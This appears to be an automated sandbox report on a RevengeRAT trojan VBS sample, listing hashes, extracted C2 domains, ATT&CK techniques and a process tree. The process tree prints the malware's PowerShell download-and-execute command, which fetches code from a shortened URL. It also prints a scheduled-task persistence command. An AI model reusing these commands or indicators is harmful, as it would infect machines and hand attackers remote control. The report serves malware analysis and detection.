revengerat | 69a7fd5ba6e543deeba3bc302c5cde78e0e089e95b28a86a46783d5db0f8c683

General

Target

cf63d0b15d5d11efe96b97b75ec9e767_JaffaCakes118.vbs
Size

1KB
MD5

cf63d0b15d5d11efe96b97b75ec9e767
SHA1

7bc07ee8846a857df1212d808c968a357104965c
SHA256

69a7fd5ba6e543deeba3bc302c5cde78e0e089e95b28a86a46783d5db0f8c683
SHA512

0f65c743989ce23c419865aec2bdb5ad23878015b9bca8fd140843bb3a77ea7f04652f7b105e758ee5a0b9f3a20743896af0c4ee3b65656df855056bad9efdc0

Score

10^/10

revengerat 442,discovery execution stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://bit.ly/2XDPsZ6

Extracted

Family

revengerat

Botnet

442,

C2

googleq.myq-see.com,googletest.linkpc.net:,

Mutex

,

Signatures

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat

RevengeRat Executable 1 IoCs

stealer

Processes:

resource	yara_rule
behavioral2/memory/3372-26-0x00000000075E0000-0x00000000075EA000-memory.dmp	revengerat

Blocklisted process makes network request 8 IoCs

Processes:

Powershell.exe

flow	pid	Process
16	3372	Powershell.exe
18	3372	Powershell.exe
22	3372	Powershell.exe
29	3372	Powershell.exe
43	3372	Powershell.exe
47	3372	Powershell.exe
53	3372	Powershell.exe
54	3372	Powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 1 IoCs

Processes:

WScript.exe

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysStartup.vbe	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

Powershell.exe

pid	Process
3372	Powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

Powershell.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

Processes:

schtasks.exe

pid	Process
3632	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

Powershell.exe

pid	Process
3372	Powershell.exe
3372	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Powershell.exe

description	pid	Process
Token: SeDebugPrivilege	3372	Powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

WScript.exe

description	pid	Process	procid_target
PID 2900 wrote to memory of 3372	2900	WScript.exe	83
PID 2900 wrote to memory of 3372	2900	WScript.exe	83
PID 2900 wrote to memory of 3372	2900	WScript.exe	83
PID 2900 wrote to memory of 3632	2900	WScript.exe	85
PID 2900 wrote to memory of 3632	2900	WScript.exe	85

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\cf63d0b15d5d11efe96b97b75ec9e767_JaffaCakes118.vbs"
1⤵
- Checks computer location settings
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:2900
- C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe
  "C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe" -noexit -C $cry = new-object Net.WebClient;iex $cry.DownloadString('http://bit.ly/2XDPsZ6')
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3372
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /sc minute /mo 8 /tn localhost /tr "C:\Users\Admin\AppData\Roaming\cf63d0b15d5d11efe96b97b75ec9e767_JaffaCakes118.vbs
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3632

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1ujpsyv4.3vd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3372-19-0x00000000060D0000-0x00000000060EE000-memory.dmp

Filesize
120KB

Download
memory/3372-6-0x0000000005200000-0x0000000005222000-memory.dmp

Filesize
136KB

Download
memory/3372-20-0x0000000006160000-0x00000000061AC000-memory.dmp

Filesize
304KB

Download
memory/3372-22-0x0000000007A00000-0x000000000807A000-memory.dmp

Filesize
6.5MB

Download
memory/3372-21-0x0000000006610000-0x0000000006654000-memory.dmp

Filesize
272KB

Download
memory/3372-7-0x0000000005910000-0x0000000005976000-memory.dmp

Filesize
408KB

Download
memory/3372-8-0x0000000005A70000-0x0000000005AD6000-memory.dmp

Filesize
408KB

Download
memory/3372-2-0x00000000027B0000-0x00000000027E6000-memory.dmp

Filesize
216KB

Download
memory/3372-14-0x0000000005AE0000-0x0000000005E34000-memory.dmp

Filesize
3.3MB

Download
memory/3372-1-0x000000007486E000-0x000000007486F000-memory.dmp

Filesize
4KB

Download
memory/3372-3-0x0000000074860000-0x0000000075010000-memory.dmp

Filesize
7.7MB

Download
memory/3372-4-0x0000000005270000-0x0000000005898000-memory.dmp

Filesize
6.2MB

Download
memory/3372-5-0x0000000074860000-0x0000000075010000-memory.dmp

Filesize
7.7MB

Download
memory/3372-23-0x00000000073A0000-0x00000000073BA000-memory.dmp

Filesize
104KB

Download
memory/3372-24-0x00000000075B0000-0x00000000075C4000-memory.dmp

Filesize
80KB

Download
memory/3372-25-0x0000000007660000-0x00000000076FC000-memory.dmp

Filesize
624KB

Download
memory/3372-26-0x00000000075E0000-0x00000000075EA000-memory.dmp

Filesize
40KB

Download
memory/3372-27-0x0000000008630000-0x0000000008BD4000-memory.dmp

Filesize
5.6MB

Download
memory/3372-28-0x0000000007900000-0x0000000007976000-memory.dmp

Filesize
472KB

Download
memory/3372-29-0x000000007486E000-0x000000007486F000-memory.dmp

Filesize
4KB

Download
memory/3372-30-0x0000000074860000-0x0000000075010000-memory.dmp

Filesize
7.7MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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